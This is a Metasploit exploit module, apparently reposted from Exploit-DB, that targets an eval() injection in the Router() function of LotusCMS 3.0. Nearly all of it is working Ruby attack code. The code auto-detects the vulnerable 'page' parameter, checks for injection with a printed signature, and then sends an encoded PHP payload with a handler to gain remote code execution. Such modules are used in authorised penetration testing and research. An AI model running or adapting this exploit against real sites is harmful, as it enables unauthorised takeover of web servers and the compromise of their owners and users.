LotusCMS 3.0 – ‘eval()’ Remote Command Execution (Metasploit)

  • 作者: Metasploit
    日期: 2012-03-07
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/18565/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = ExcellentRanking
    
    	include Msf::Exploit::Remote::HttpClient
    	include Msf::Auxiliary::WmapScanUniqueQuery
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'LotusCMS 3.0 eval() Remote Command Execution',
    			'Description'=> %q{
    					This module exploits a vulnerability found in Lotus CMS 3.0's Router()
    				function.This is done by embedding PHP code in the 'page' parameter,
    				which will be passed to a eval call, therefore allowing remote code execution.
    
    					The module can either automatically pick up a 'page' parameter from the
    				default page, or manually specify one in the URI option.To use the automatic
    				method, please supply the URI with just a directory path, for example: "/lcms/".
    				To manually configure one, you may do: "/lcms/somepath/index.php?page=index"
    			},
    			'License'=> MSF_LICENSE,
    			'Author' =>
    				[
    					'Alligator Security Team',
    					'dflah_ <dflah_[at]alligatorteam.org>',
    					'sherl0ck_ <sherl0ck_[at]alligatorteam.org>',
    					'sinn3r'#Metasploit-fu
    				],
    			'References' =>
    				[
    					[ 'OSVDB', '75095' ],
    					[ 'URL', 'http://secunia.com/secunia_research/2011-21/' ]
    				],
    			'Payload'=>
    				{
    					'Space' => 4000, # only to prevent error HTTP 414 (Request-URI Too Long)
    					'DisableNops' => true,
    					'BadChars'=> "#",
    					'Keys'=> ['php']
    				},
    			'Platform'=> [ 'php' ],
    			'Arch'=> ARCH_PHP,
    			'Targets' => [[ 'Automatic LotusCMS 3.0', { }]],
    			'Privileged'=> false,
    			'DisclosureDate'=> 'Mar 3 2011',
    			'DefaultTarget' => 0))
    
    		register_options(
    		[
    			OptString.new('URI', [true, 'URI', '/lcms/']),
    			Opt::RPORT(80),
    		], self.class)
    	end
    
    	def target_url
    		uri = datastore['URI']
    
    		# Make sure uri begins with '/'
    		if uri[0] != '/'
    			uri = '/' + uri
    		end
    
    		# Extract two things:
    		# 1. The file path (/index.php), including the base
    		# 2. GET parameters from the GET query
    		uri = uri.scan(/^(\/.+)\/(\w+\.php)*\?*(\w+=.+&*)*$/).flatten
    		base= (uri[0] || "") + '/'
    		fname = uri[1] || ""
    		query = uri[2] || ""
    		params = queryparse(query) rescue ""
    
    		# Use the user-supplied query if there's one, if not we'll auto-detect
    		# by regexing a hyper-link
    		if base.empty? or fname.empty? or params.empty?
    			res = send_request_cgi({
    				'method' => 'GET',
    				'uri'=> datastore['URI']
    			}, 20)
    
    			if res and res.code == 200
    				uri = res.body.scan(/<a.*href=['|"](\/*index\.php)\?.*(page=\w+)['|"].*>/).flatten
    				@uri = base + uri[0]
    				@arg = uri[1]
    				print_status("Using found page param: #{@uri}?#{@arg}")
    			else
    				@uri = ""
    				@arg = ""
    			end
    		else
    			@uri = base + fname
    			@arg = "page=#{params['page']}"
    		end
    	end
    
    	def check
    		target_url
    		if @uri.empty? or @arg.empty?
    			print_error("Unable to get the page parameter, please reconfigure URI")
    			return
    		end
    
    		signature = rand_text_alpha(rand(10)+10)
    		stub = "${print('#{signature}')};"
    		sploit = "');#{stub}#"
    		response = send_request_cgi(
    		{
    			'method'=> 'POST',
    			'uri' =>@uri,
    			'data' => @arg + Rex::Text.uri_encode(sploit)
    		}, 20)
    
    		if response and response.body =~ /#{signature}/
    			print_status("Signature: #{signature}")
    			return Exploit::CheckCode::Vulnerable
    		else
    			print_error("Signature was not detected")
    			return Exploit::CheckCode::Safe
    		end
    	end
    
    	def exploit
    		return if not check == Exploit::CheckCode::Vulnerable
    
    		begin
    			sploit = "');#{payload.encoded}#"
    			print_status("Sending exploit ...")
    			res = send_request_cgi(
    			{
    				'method'=> 'POST',
    				'uri' =>@uri,
    				'data' => @arg + Rex::Text.uri_encode(sploit)
    			}, 20)
    			handler
    		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
    		rescue ::Timeout::Error, ::Errno::EPIPE
    		end
    	end
    
    end